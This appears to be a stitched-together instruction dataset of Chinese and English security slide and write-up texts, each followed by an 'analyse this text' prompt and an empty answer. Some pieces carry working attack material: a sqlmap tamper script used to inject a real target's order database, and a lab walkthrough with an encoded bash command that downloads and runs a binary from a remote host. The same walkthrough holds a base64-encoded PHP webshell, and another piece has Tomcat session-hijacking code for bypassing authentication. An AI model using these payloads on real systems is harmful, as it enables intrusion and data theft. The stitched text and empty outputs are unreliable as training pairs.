RADIO EXPLOITATION 101 MATT KNIGHT // MARC NEWLIN // BASTILLE NETWORKS CHARACTERIZING//CONTEXTUALIZING//CLASSIFYING RF ATTACKS OFFENSIVE WIRELESS TECHNIQUES PHY && MAC LAYERS MOBILE IoT and means WIRELESS TECH IS DIVERSE AND INCUMBENT ATTACK SURFACES GALORE RADIO EXPLOITATION 101 // BASTILLE NETWORKS WHO ARE THESE GUYS  Matt Knight  Software Engineer and Security Researcher @  Reverse engineered the LoRa wireless protocol in 2016  BE & BA from Dartmouth  Marc Newlin  Security Researcher @  Discovered Mousejack vulnerability in 2016  Finished 3rd in DARPA Spectrum Challenge in 2012  Finished 2nd in DARPA Shredder Challenge in 2010 matt@ .net @embeddedsec marc@ .net @marcnewlin RADIO EXPLOITATION 101 // BASTILLE NETWORKS AGENDA 1. Historical retrospective of wired and wireless security tech development 2. Key RF concepts 3. Methods of Wireless Exploitation  Techniques, impact, and defenses  Analogues to wired networks  Examples and demos (do it live!) 4. How to apply this information EVOLUTION OF NETWORK SECURITY HISTORICAL BACKGROUND https://frostedpress.ﬁles.wordpress.com/2016/09/4286297.png 1990s Packet snifﬁng in the 802.3 802.5 Protocols: http://s202976374.onlinehome.us/ebay/test_equip/analyzers/Dolch_PAC_64_05.jpg NETWORK GENERAL PACKET SNIFFER $8,000+ (in 1990s dollars) Installed on a Dolch lunchbox computer http://s202976374.onlinehome.us/ebay/test_equip/analyzers/Dolch_PAC_64_05.jpg NETWORK GENERAL PACKET SNIFFER $8,000+ (in 1990s dollars) Installed on a Dolch lunchbox computer ! PROPRIETARY 1998 Packet snifﬁng in ETHEREAL // WIRESHARK $0 https://blog.wireshark.org/wp-content/uploads/2013/10/ethereal-0.2.0.png ETHEREAL // WIRESHARK $0 https://blog.wireshark.org/wp-content/uploads/2013/10/ethereal-0.2.0.png " COMMODITY 2000s Packet snifﬁng since the LTE-M GPS 802.5 802.11 WiMax Enocean DMR 802.3 HSPA LTE CDMA GSM Bluetooth Bluetooth LE Z-Wave 802.15.4 GPRS EDGE DECT LoRa SIGFOX 802.16 nRF24 NB-IoT Protocols: TONS OF WIRELESS EARLY SDRS >>$100K EARLY SDRS >>$10


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

_vti_fpxploitation mshannon@fpxploiter.org Frontpage: Laying the ground work What is it?  Microsoft's integrated Web Site development tool.  System for adding basic to advanced functionality with little or no web page experience.  Integrated MS Office package  Security Nightmare Who is Vermeer Technologies?  In early 1995, Vermeer Technologies developed one of the first web publishing tools for simple end users, Frontpage.  Following enormous success, the application was later bought out by Microsoft and integrated in the Office package. Frontpage: Decoding the system Protocol Analysis Client/Server Protocol Analysis  Communication between Client and Server.  Frontpage Client and Server extensions communicate over HTTP PUT requests. The Frontpage client makes requests against Author.dll, Admin.dll, and shtml.exe. Author.dll(exe) Authoring commands, uploading, downloading content, reviewing properties, adding enhancements. Admin.dll(exe) Admin commands, including adding additional users, modify user permissions, listing accounts. Shtml.exe, vti_rpc Initial access and service negotiation. The Authentication System This authentication process takes place each time a request is performed, i.e login, upload, download, change permissions, navigate folders, etc. While an ineffective use of resources, it does limit attacks based on state. _vti_inf.html  _vti_inf.html  This file provides configuration information and helps us determine something about the server. _vti_inf.html Cont.  Using the following simple guidelines when reading the _vti_inf.html file we can better determine the operating system.  _vti_inf.html files with references to .exe tools most likely reside on Unix servers.  _vti_inf.html files with references to .dll tools most likely reside on Windows Servers  Server extension version numbers can further help us narrow down the options. _vti_inf Version Table  Using the information in _vti_inf.html, we can often correctly determine the OS version. Operating Sy


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Open RazzmatazZ Laboratory (OrzLab) Jim Huang( 黃敬群 /jserv) Email: <jserv.tw@gmail.com> <jserv@openmoko.org> Blog: http://blog.linux.org.tw/jserv/ 電信通訊 的自由與 安全議題 July 22, 2007 http://orzlab.blogspot.com/ 自我 介紹 OpenMoko 開發者 手機 /PDA  Mobile TV/ 數位電視代工設計 參與自由軟體開發 新酷音輸入法 Kaffe.org / GNU Classpath ... (http://jserv.sayya.org/ for details) ... 專業熱血工讀生 提綱 通訊裝置背後的議題 電信通訊的自由開放 安全性挑戰 裝置 背後 的議題 (1) 複雜性多樣性 高度整合 五花八門 行動 電話 的時代 2006 年 < 200 Million PC sold > 200 Million Phones sold ( 光第三季 ) 0.5 Billion PC in 2003 1.5 Billion consumers own mobile phones worldwide -- Economist, Jan 2006 3 Billion subscribers by 2008 裝置 行動 電話 的大量 系統 整合 裝置 背後 的議題 (2) 誰在聽你 講電話 不只是情人間的細語呢喃 通訊 自由 權 (1) 華民國憲法第二章第七條保障的基本人權 人身自由 ( 第 8 條 ) 言論講學著作及出版自由 ( 第 11 條 ) 祕密通訊自由 ( 第 12 條 ) 1999 年六月 22 日三讀通過通訊保障及監察 法 依據電信法第七條秘密通訊分兩項 電信之內容 ( 監聽 ) 電信之有無 ( 通聯查詢 ) 通訊 自由 權 (2) 自由自由多少罪惡假汝之名而行 羅蘭夫人於送上斷頭台前夕 通訊法規與法治人權 違反法律保留原則 憲法第二十三條之基本原則通聯之調閱應 以法律而非以行政命令來規範 違反比例原則 不應以一條街或一個地區為執行之範圍 違反透明化原則與保護隱私權原則 調閱通聯應適用執行監聽之規定 於執行結束後應通知受監察之人 裝置 背後 的議題 (2) 封閉的系統 壟斷性的電信業者 待開 放的 電信網 路 (1) 許多廠商與組織指出電信廠商的限制將阻礙無 線網路與電信發展 Skype 向 FCC 提出請願書要求立法部門放鬆限制 要求 FCC 為無線網路建立開放標準組織 openmoko 建構 100% open source 手機 不受電信廠商約束直接將手機賣給用戶 待開 放的 電信網 路 (2) 電信廠商僅針對由自家銷售的手機和服務開放網 路支援 通常採取封閉技術以鎖定所銷售的手機 2007 年二月哥倫比亞大學法學系教授 Tim Wu 於 blog 譴責 強勢操控設備和應用市場的產品設計與創 新因而損害消費者的利益 兩大公益組織支持 Public Knowledge Media Access Project (MAP) 電信 通訊 的自由 開放 (1) 手機禁用的功能 手機 禁用 的功能 Wi-Fi (dual-mode phone) Bluetooth file transfer (high volume) Built-in wireless connectivity CE Dialing timer Limited to specific network 電信 通訊 的自由 開放 (2) 手機受限的功能 手機 受限 的功能 某些 GPS 服務應用 某些先進的 SMS 功能 某些行動瀏覽器 基於商業利益的行為 Cingular/AT&T Wireless 曾要求 Nokia 移除歐 洲版 E61/62 Smartphone 內的 Wi-Fi 才可在 美國網路中使用 Verizon 禁止 phone vendor 啟用 bluetooth 檔 案傳輸功能只因為希望用戶將 camera 所生 的照片傳到 ( 收費的 )Verizon 網站 .... 電信 通訊 的自由 開放 (3) 手機製造商與應 用服務者的訴求 Skype 於 2007.02.21 向 FCC 提出請願書 製造 商與 應用服 務者 的訴求 (1) 要求電信業者同意 只要不具危險性 任何設備均可連接到其網路 任何應用均可執行於其網路 用戶可瀏覽所有合法的網站 成立獨立專注於相關行動應用的產業組織 製造 商與 應用服 務者 的訴求 (2) 是的我們存活於 謊言背信行為受限 受監視缺乏自由 的陰影之下 部份電信廠商在服務條款中禁止使用 Skype Skype


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PART 01 CONTENTS PART 02 PART 03 PART 04 01 02 03 04 PART 01      PART 01 Recon Weaponiza tion delivery Exploitatio n Installation Command / Control Action on Objections     I           PART 02 -  -      >> PART 03                              1 . 144 235


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

2021-9-27 Written By J0o1ey QQ/vx 547006660 如有红队/渗透测试方向培训需求或其他业务项目可联系我 在对某 SRC 测试时本人根据其证书信息收集到了部分深度子域并找到了其对 应的业务 IP 段 写了个 shell 脚本+ffuf 批量 fuzz 某 src c 段资产目录 fuzz 发现了 xxSRC c 段的一个提供了 webservice 的服务器 http://180.*.*.*/webservice/ 获取到接口 http://180.*.*.*/webservice/syncOrderToOdcService 使用 soup ui 进行调试 数据 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:odc="http://odc.ws.qiku.com/"> <soapenv:Header/> <soapenv:Body> <odc:syncOrderInfo> <!--Optional:--> <arg0></arg0> </odc:syncOrderInfo> </soapenv:Body> </soapenv:Envelope> <arg0></arg0> 当<arg0></arg0>中间无参数值时 Soap 接口抛出了一个 Oracle 的错误信息并提示Date format error,YY-MM-DD 随后很简单了构造一个符合条件的 date 数据 2021-9-23 Soap request <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:odc="http://odc.ws.qiku.com/"> <soapenv:Header/> <soapenv:Body> <odc:syncOrderInfo> <!--Optional:--> <arg0>2021-9-23</arg0> </odc:syncOrderInfo> </soapenv:Body> </soapenv:Envelope> arg0 处为日期参数指定日期即可查询到 xx src 商城所有订单信息 属于严重泄露客户数据的漏洞 看了一下 oracle 都爆出 SQL 的错误信息了并且没有预编译相关的提示这不得 注入一波 但是在注入的时候发现程序会将括号()过滤掉导致函数无法执行sqlmap 注入 不出来 这时候就要用到骚姿势了 在 Oracle 中文版本中,中文括号可以代替英文()而且不报错 EG: # 纯中文括号 SQL> select 1+1 from dual; 1+1 ---------- 2 剩下的就很简单了改一个 tamper 出来 #!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) def tamper(payload, **kwargs): retVal = payload if payload: retVal = re.sub(r"\s*(\s*", "", retVal) retVal = re.sub(r"\s*)\s*", "", retVal) return retVal >>>python sqlmap.py -r xxx.txt --dbs --tamper=brackets.py //注入请求在日期处 加* w 到手收摊


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

遇到一个场景当前/app路径下无法写入任何的jsp文件但/ROOT下可以写 但/ROOT/ 下写的无法直接Class.forName等操作/app/下的类 测试发现tomcat的类加载器 ParallelWebappClassLoader 可获取到所有context 信息 思路其实就是通过当前context获取到parent也就是host在基于host搜索其他 context如下 this.getClass().getClassLoader().resources.context.parent.children 其实主要目的是找classloader所以直接找到 this.getClass().getClassLoader().resources.context.parent.childClassLoaders /manager 的类加载器可以看到没有任何class 而我们应用的则多上不少破坏父类委派的表现 代码实现如下 ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); try { Object resources = getFieldValue(this.getClass().getClassLoader(), "resources"); Map<Object, String> childClassLoaders = (Map<Object, String>) getFieldValue( getFieldValue( getFieldValue(resources, "context"), "parent"), "childClassLoaders"); for (Map.Entry entry : childClassLoaders.entrySet()) { if (entry.getValue().equals("/app")) { classLoader = (ClassLoader)entry.getKey(); break; } } } catch (Exception ignored) { } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field f = null; if (obj instanceof Field) { f = (Field)obj; } else { Method method = null; Class cs = obj.getClass(); while(cs != null) { try { f = cs.getDeclaredField(fieldName); cs = null; } catch (Exception var6) { cs = cs.getSuperclass(); } } } f.setAccessible(true); return f.get(obj); } 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 又有个问题我想绕过认证直接生成有效session分析了目标应用他的认证 是将user写入到session中那么session怎么跨context注入我回头想我在context里找 一个已有的session就行了没必要用当前使用的 查了下资料tomcat管理session的方式有一个ConcurrentHashMap存储所有 session一般是在context下所以和上面思路一样 this.getClass().getClassLoader().resources.context.manager.sessions 遇到一个小bug下面方法所在类的类加载器可能并不是 ParallelWebappClassLoader所以需要搜索下父类如下 public Object getSession(String id) throws Exception { Object session = null; java.lang.ClassLoader classLoader = this.getClass().getClassLoader(); int count = 0; while (!classLoader.getClass().getName().contains("ParallelWebappCla ssLoader")) { classLoader =


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

How the ELF ruined Christmas Alessandro Di Federico UC Santa Barbara July 18, 2015 Index The exploit The dynamic loader The attacks RELRO Implementation Recap & countermeasures The exploitation process 1 Find a useful vulnerability 2 Obtain code execution 3 Perform the desired actions Our focus is on the last step How can we perform the attack in presence of speciﬁc countermeasures? Code execution is not enough  Being able to divert execution is important  But the problem is then where to point execution  Modern operating systems prevent execution of data Code reuse attacks  Its not possible to introduce new executable data  Lets reuse existing code!  return-into-libc  return-oriented programming Address Space Layout Randomization  The OS randomizes the position of libraries  The code is there, but where? The typical situation  The position of the main executable is usually known  Its image keeps references to imported library functions  printf  memcpy  ... The need for a memory leak  Suppose printf is imported but execve is not,we can: 1 Obtain the address of printf 2 Compute the distance between printf and execve 3 Divert execution to addressOf(printf)distance(printf, execve) The problem  Requires a memory leak vulnerability  Requires knowledge about the layout of the library  Requires an interaction between the victim and the attacker Lets re-think the attack What are we trying to do? Were trying to obtain the address of an arbitrary library function We already have an operating system component for that The dynamic loader Index The exploit The dynamic loader The attacks RELRO Implementation Recap & countermeasures ELF  ELF stands for Executable and Linking Format  Well consider it to be divided in sections  .text: executable code  .data: writeable global data  .rodata: read-only global data  .bss: uninitialized global data  ... Calling a library function i n t main ( ) { p r i n t f ( " Hello world ! \ n " ) ; return 0; } Calling a library function i n t main (


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Know Your Foe Threat Infrastructure Analysis Pitfalls Who Are We?  Founders of PassiveTotal  Analysts/researchers with 10+ years of collective experience  Interested in  Better UX/UI for security systems  Improving/re-thinking analyst workflows  Imparting our knowledge #knowyourfoe | @PassiveTotal 1. Analysis Background Whats the threat research process? #knowyourfoe | @PassiveTotal Threat Analysis Lifecycle 2. Collect Data 3. Make Assessment 1. Surface Suspicious #knowyourfoe | @PassiveTotal  Signatures and monitors  In-house data collection and analysis  Proactive research to identify threats  Paid feeds of data and threat intelligence Threat Analysis Lifecycle 2. Collect Data 3. Make Assessment 1. Surface Suspicious #knowyourfoe | @PassiveTotal  Collect data from all OSINT sources  Pay for analysis or data feeds from providers  Preserve any relevant activity for the case  Contact private research groups or networks Threat Analysis Lifecycle 2. Collect Data 3. Make Assessment 1. Surface Suspicious #knowyourfoe | @PassiveTotal  Aggregate enough data to derive the full picture  Consult multiple sources and weight opinions  Use subject matter expertise to determine good or bad Tell Me About youtubee.xyz  Resolves to 185.86.167.27  Geolocation of Turkey  Active since June 1st 2015  Uses Ideal Hosting as a provider  Known malware associated with domain and IP  WHOIS information is privacy protected  Labeled as phishing on blacklist  Uses AS29262  Part of /24 subnet on 185.86.167.0/24  Domain is not dynamic DNS  IP address is not a sinkhole  Large amount of associations to IP 2. Common Pitfalls Avoid weak connections and false conclusions #knowyourfoe | @PassiveTotal Connections using Subnets. Subnets are network allocations given to potential businesses or organizations to host Internet-facing infrastructure. #knowyourfoe | @PassiveTotal Example: 185.86.167.27 is part of 185.86.167.0/24 Pitfalls with Subnets  Subnet sizes could include thousands of potential addresses


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

OWASP TOP 10 01 OWASP Top10 A032021-注入 A05:2021-配置错误 API 安全痛点 02 甲方漏洞现状 编号 漏洞标题 定义 1 水平越权 对象级别的越权通过某个遍历参数可以访问到其他对象资源 2 过度数据暴露 依赖通用方法开发人员倾向于公开所有对象属性而不考虑其各自的敏感度依赖客户端 在向用户显示数据前执行数据筛选返回的数据也缺失脱敏操作 3 注入 当不受信任的数据作为命令或查询的一部分发送给解释器 时就会出现注入缺陷如 SQLNoSQL命令注入等 攻击者的恶意数据可诱使解释器在未经恰当授权的情况下 执行非预期的命令或访问数据 4 业务安全缺陷 业务逻辑上的缺陷主要是过分信任用户的输入这些漏洞跟业务强相关 5 安全配置错误 安全错误配置通常是由于不安全的默认配置不完整或临 时配置开放云存储开发 swagger配置错误的HTTP 头不必要的 HTTP 方法允许跨域资源共享(CORS)和包 含敏感信 息的详细错误消息造成的 6 高并发缺陷 攻击者通过并发http/tcp请求而达到次获奖多次收获多次获赠等非正常逻辑所能触发 的效果一般都是系统幂等性设计缺失或者错误导致的额 痛点 API多 发版快 敏感多数据 人力支撑困难 越权占比高 API 安全收敛体系 03 SDL BP架构 漏洞收敛体系 应用安全三板斧 应用安全三板斧之IAST API 网关 API 管控平台 提问环节 提问环节


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1 启元学堂REDV靶场练习 环境部署 具 Start 看readme即可 X-C2 冰蝎3 webanalyzer ... 点http://192.168.88.101/ 环境部署 具 Start 2 看下指纹眼看上去就是hexo 1 { 2 "name": "Hexo", 3 "version": "5.3.0", 3 录扫描 没什么东 4 "detail": "regex \"Hexo(?: v?([\\d.]+))?\" match meta[gene rator] of http://192.168.88.101/", 5 "origin": "wappalyzer" 6 }, 4 web1上81端还有服务 应该要CVE-2021-3129打 tips: 攻击的结果基本所有脚本都是写在laravel.log但是这个路径在实战中很有可能是不存在的需要去猜 我是mac测试的因为payload貌似不能换需要加-w0 https://stackoverflow.com/questions/46463027/base64-doesnt-have-w-option-in-mac 这上说的是mac下的-w0是默认的还是不只能换linux 5 这个漏洞如果找不到log路径可以配合fastcgi或者redis打 把脚本改下找到利链之后持定义命令 6 中后 1 bash=bash -c {echo,Y2QgL3RtcC8gJiYgY3VybCBodHRwOi8vMTkyLjE2OC44OC4 xMDA6ODA4MS93ZWIxICAtbyBuZ2lueCAmJiBjaG1vZCAreCBuZ2lueCAmJiAuL25na W54}|{base64,-d}|{bash,-i} 7 发现是不出的我配置的络环境只允许dmz出 写冰蝎 1 echo PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTsKc2Vzc2lvbl9zdGFydCgpOwogI CAgJGtleT0iZTQ1ZTMyOWZlYjVkOTI1YiI7IC8v6K+l5a+G6ZKl5Li66L+e5o6l5a+ G56CBMzLkvY1tZDXlgLznmoTliY0xNuS9je+8jOm7mOiupOi/nuaOpeWvhueggXJlY mV5b25kCgkkX1NFU1NJT05bJ2snXT0ka2V5OwoJc2Vzc2lvbl93cml0ZV9jbG9zZSg pOwoJJHBvc3Q9ZmlsZV9nZXRfY29udGVudHMoInBocDovL2lucHV0Iik7CglpZighZ Xh0ZW5zaW9uX2xvYWRlZCgnb3BlbnNzbCcpKQoJewoJCSR0PSJiYXNlNjRfIi4iZGV jb2RlIjsKCQkkcG9zdD0kdCgkcG9zdC4iIik7CgkJCgkJZm9yKCRpPTA7JGk8c3Ryb GVuKCRwb3N0KTskaSsrKSB7CiAgICAJCQkgJHBvc3RbJGldID0gJHBvc3RbJGldXiR rZXlbJGkrMSYxNV07IAogICAgCQkJfQoJfQoJZWxzZQoJewoJCSRwb3N0PW9wZW5zc 8 2xfZGVjcnlwdCgkcG9zdCwgIkFFUzEyOCIsICRrZXkpOwoJfQogICAgJGFycj1leHB sb2RlKCd8JywkcG9zdCk7CiAgICAkZnVuYz0kYXJyWzBdOwogICAgJHBhcmFtcz0kY XJyWzFdOwoJY2xhc3MgQ3twdWJsaWMgZnVuY3Rpb24gX19pbnZva2UoJHApIHtldmF sKCRwLiIiKTt9fQogICAgQGNhbGxfdXNlcl9mdW5jKG5ldyBDKCksJHBhcmFtcyk7C j8+Cg==|base64 -d > /var/www/html/wfox_coolcat.php 9 然后 是个docker 10 补充下查看ip的命令 1 curl ifconfig.me 2 curl -4/-6 icanhazip.com 3 curl ipinfo.io/ip 4 curl api.ipify.org 5 curl checkip.dyndns.org 6 dig +short myip.opendns.com @resolver1.opendns.com 7 host myip.opendns.com resolver1.opendns.com 8 curl ident.me 9 curl bot.whatismyipaddress.com 10 curl ipec


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

HITCON Badge 2019 MCU ARM TrustZone challenge Alan Lee , yuawn , will About yuawn  CTF - DoubleSigma / Balsn / BFKinesiS  NTU - nslab  Focus on binary exploitation _yuawn yuawn Agenda  Introduction  HITCON Badge 2019 Challenge  ARM TrustZone mechanism on MCU  Exploitation  Make TrustZone great again Source code and exploit are released! https://github.com/yuawn/HITCON-badge-2019 What is TrustZone?  Secure Environment Separation  Normal world (non-secure world)  UI, APP, etc.  Secure world - TEE (Trusted Execution Environment)  Authentication, Mobile Payment, Content protection  Hypervisor ARM TrustZone ARM Trusted Firmware APPs Trusted APPs OS Trusted OS What is TrustZone?  TrustZone Hardware Architecture  NS bit in register  TrustZone Software Implementation  TEE OS  TEEGRIS - Samsung  trusty - Google  OP-TEE - Open source  TA (Trusted Application) TrustZone on M2351 TrustZone on M2351  Non-secure function  Non-secure callable function  Secure function TrustZone on M2351  System Memory Map HITCON Badge  LED  A simple command line interface  Snake  Lock record  Key, token  Crypto Non-secure Secure HITCON Badge  Locks are stored in Secure Region  Unlock  nsc_unlock  Implement in secure code Badge Command Line _ _ ___ _____ ___ ___ _ _ ___ __ _ ___ | || |_ _|_ _/ __/ _ \| \| | |_ ) \/ / _ \ | __ || | | || (_| (_) | .` | / / () | \_, / |_||_|___| |_| \___\___/|_|\_| /___\__/|_|/_/ HitconBadge2019 >> Badge Command Line HitconBadge2019 >> help show info unlock setname clear hello angelboy yuawn ping ls id cat echo alias whoami help show HitconBadge2019 >> show Pattern 0: Lock led 00: Lock led 01: Lock led 02: Lock Pattern 1: Lock led 03: Lock led 04: Lock led 05: Lock Pattern 2: Lock led 06: Lock led 07: Lock led 08: Lock Pattern 3: Lock led 09: Lock led 10: Lock led 11: Lock Pattern 4: Lock led 12: Lock led 13: Lock led 14: Lock Pattern 5: Lock led 15: Lock led 16: Lock led 17: Lock Pattern 6: Lock led 18: Lock led 19: Lock led 20: Lock Pattern 7: Lock led 21: Lock led


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Six$Degrees$of$Domain$Admin Using&Graph&Theory&to&Accelerate&Red&Team&Operations DEF&CON&24& Las&Vegas,&NV&2016 Andy&Robbins&- @_wald0 Rohan&Vazarkar - @CptJesus Will&Schroeder&- @harmj0y About$Us$ Andy$Robbins  Offensive&Network&Services& Team&Lead&at&Veris&Groups& Adaptive&Threat&Division  Red&team&and&penetration&test& lead  Performed&hundreds&of&network& penetration&tests  With&Brandon&Henry,&identified& critical&vulnerability&in&ACH&file& processing&procedures About$Us$ Rohan$Vazarkar  Penetration&tester&at&Veris& Groups&Adaptive&Threat&Division  Co-author&and&major&contributor& to&many&projects,&including& EyeWitness and&Python&Empire  Presenter:&BSidesDC,&BSidesLV,& BSidesDE,&Black&Hat&Arsenal  Trainer:&Black&Hat&USA&2016 About$Us$ Will$Schroeder  Researcher&at&Veris&Groups& Adaptive&Threat&Division  Co-founder&of&the&Veil- Framework,&PowerView,& PowerUp,&Empire/EmPyre  Active&PowerSploit devleoper  Microsoft&PowerShell/CDM&MVP  Speaker&and&various&cons&and& BlackHat trainer Defenders$think$in$lists.$ Attackers$think$in$graphs.$As$long$ as$this$is$true,$attackers$win. - John&Lambert,&General&Manager,&Microsoft&Threat& Intelligence&Center Agenda  The&Current&State&of&AD&Domain&Privilege&Escalation  The&Concept&of&Derivative&Local&Admin  A&Crash&Course&in&Graph&Theory  Stealthy&Data&Collection&with&PowerView  The&Release&of&BloodHound  Closing&Remarks&and&Future&Plans Prior$Work  Derivative&Local&Admin&by&Justin&Warner&(@sixdub)&- http://www.sixdub.net/?p=591  Active&Directory&Control&Paths&by&Emmanuel&Gras&and&Lucas&Bouillot - https://github.com/ANSSI-FR/AD-control-paths  One&of&the&best&AD&Security&resources&- https://adsecurity.org/ The$Current$State$of$Active$ Directory$Domain$Privilege$ Escalation Current$State$of$AD$Domain$Priv Esc  Active&Directory&is&ubiquitous.  LOTS&of&security&research&devoted&to&Active&Directory  Sometimes&we&get&easy&buttons!&J  Easy&buttons&have&a&tendency&to&disappear.  The&best&tradecraft&includes,&but&does&not&rely&on&easy&butt


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Disclaimer: This presentation is based upon personal research that was not supported or authorized by my employer. The material being presented may be considered offensive to those with weak hearts or those highly invested in technology funds. Robert Stucke bobx@rot26.net DNS Has Been Found To Be Hazardous To Your Health Use With Caution About Me Phoenix @ 90K feet! Agenda  DNS Bit-Squatting  Misunderstood end-point DNS behavior  You dont own that domain, I do  Abandoned Botnets and Forgotten Toys Bit-Squatting Presented by Artem Dinaburg at Blackhat and Defcon in 2011  Project Page http://dinaburg.org/bitsquatting.html  Presentation Video http://youtu.be/lZ8s1JwtNas  Presentation Slides http://dinaburg.org/data/DC19_Dinaburg_Presentation.pdf Bit-Squatting  What is it?  Why does it happen?  What is the impact? Bit-Squatting Bit-Squatting 0110011101101111011011110110 0110011101101101011011110110 Bit-Squatting What is Bit-Squatting?  Anticipate the way a single bit error in memory will corrupt the DNS name  Registering those mangled domains  Rapture, Mayhem, Yay! Bit-Squatting 01100111011011110110111101100111011011000110010100101110011000110110111101101101 01100111011011110110111101100110011011000110010100101110011000110110111101101101 google.com goofle.com Bit-Squatting What causes these memory errors?  Heat  Electrical Problems  Radioactive Contamination  Cosmic Rays! Bit-Squatting Phones Bit-Squatting The guidance we give to data center operators is to raise the thermostat.  Many data centers operate at 70 degrees or below. Wed recommend looking at going to 80 degrees - Erik Teetzel Energy Program Manager at Google The peak operating temperature Googles Belgium data center reaches is 95 degrees Fahrenheit! Bit-Squatting Bit-Squatting gstatic.com Google domain for serving static content CSS Images Javascript XML Bit-Squatting gstatic.com fstatic.com estatic.com cstatic.com ostatic.com wstatic.com grtatic.com gqtatic.com gwtatic.com gctatic.com g3tatic.com gsuatic.co


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

MindAPI 最近API安全概念停的正好前阵在Twitter上看到个API安全的思维导图感觉很全 在这稍微总结下 框架识别 1.API框架种类 (1) REST APIs RESTful OData (2) GraphQL 这有个关于GraphQL的测试项 https://github.com/nicholasaleks/graphql-threat-matrix (3) SOAP SOAP 很熟悉了也就是WebService开源的Service框架有Apache CXF以及Apache AXIS1 2等 (4) XML-RPC 以更简单的 XML 格式传输数据,这很容易联想到Apache OFbiz XML-RPC 反序列化漏洞 (5) JSON-RPC 以JSON格式化式传输数据 (6) gRPC-Protobuf 可以从header头Content-Type以及Access-control-expose-headers 响应头 2.API框架简介相关文档 https://smartbear.com/blog/soap-vs-rest-whats-the-diﬀerence/ https://www.odata.org/documentation/ https://www.howtographql.com/basics/1-graphql-is-the-better-rest/ https://www.smashingmagazine.com/2016/09/understanding-rest-and-rpc-for-http-ap is/ https://www.soapui.org/docs/rest-testing/working-with-rest-services/ https://cloud.google.com/blog/products/api-management/understanding-grpc-openapi -and-rest-and-when-to-use-them https://openapi.tools/ 些框架带URL特征 三如何盒进API信息收集 这主要列出了些API接测试的具和站及技巧 具BurpmitmproxyWiresharkAPKLeaksAPKEnumApi-GuesserKeyhacks Google搜索技巧site:target.tld inurl:api intitle:"index of" "api.yaml" site:target.tld WADL WSDLinurl:/application.wadluser ﬁletype:wadlext:wadluser ﬁletype:wsd ext:wsdl ODataInurl:/%24metadata Githubhttps://github.com/search?q=target.tld+%252Bapi https://github.com/search?q=target.tld+application.wadl&type=code https://github.com/search?q=target.tld+*.wsdl&type=code 其他intitle:"index of" intext:"apikey.txt" site:target.tldallintext:"API_SECRET*" ext:env | ext:yml site:target.tld https://github.com/dxa4481/truﬄeHog https://github.com/eth0izzle/shhgit 些API聚合以及搜索站 https://apilist.fun/ https://apiharmony-open.mybluemix.net/public https://www.programmableweb.com/ https://rapidapi.com/hub http://apis.io/ https://app.swaggerhub.com/search https://apis.guru/ https://www.postman.com/explore/apis https://any-api.com/ https://smart-api.info/registry https://www.apistack.io/ https://public-apis.xyz/ API字典及枚举具 四API接测试 1.些具 REST APIshttps://github.com/ﬂipkart-incubator/Astra https://github.com/bncrypted/apidor h


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

: https://srcincite.io/blog/2021/09/30/chasing-a-dream-pwning-the-biggest-cms-in-china.html ** ** ** ** :include/filter.inc.php ** ** dedecmsinclude/common.inc.php post get cookie _RunMagicQuotes get post globals, , filter.inc.php $magic_quotes_gpcgpcaddslashes, foreachkeymagic_quotes_gpc, return filter.inc.php dedecms v5.7 bookfeedback.php , common.inc.php , RCE dedecms v5.8 flink onlymsg1, ,showmsg onlymsg0 function ShowMsg($msg, $gourl, $onlymsg = 0, $limittime = 0){ if (empty($GLOBALS['cfg_plus_dir'])) { $GLOBALS['cfg_plus_dir'] = '..'; } if ($gourl == -1) { $gourl = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; if ($gourl == "") { $gourl = -1; } } $htmlhead = " <html>\r\n<head>\r\n<title>DedeCMS</title>\r\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset={dede:global.cfg_soft_lang/}\" /> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum- scale=1, user-scalable=no\"> <meta name=\"renderer\" content=\"webkit\"> <meta http-equiv=\"Cache-Control\" content=\"no-siteapp\" /> <link rel=\"stylesheet\" type=\"text/css\" href=\"{dede:global.cfg_assets_dir/}/pkg/uikit/css/uikit.min.css\" /> <link rel=\"stylesheet\" type=\"text/css\" href=\" {dede:global.cfg_assets_dir/}/css/manage.dede.css\"> <base target='_self'/> </head> <body> " . (isset($GLOBALS['ucsynlogin']) ? $GLOBALS['ucsynlogin'] : '') . " <center style=\"width:450px\" class=\"uk-container\"> <div class=\"uk- card uk-card-small uk-card-default\" style=\"margin-top: 50px;\"> <div class=\"uk-card-header\" style=\"height:20px\">DedeCMS </div> <script>\r\n"; $htmlfoot = " </script> </center> <script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit.min.js\"></script> <script src=\"{dede:global.cfg_assets_dir/}/pkg/uikit/js/uikit-icons.min.js\"></script> </body>\r\n</html>\r\n"; $litime = ($limittime == 0 ? 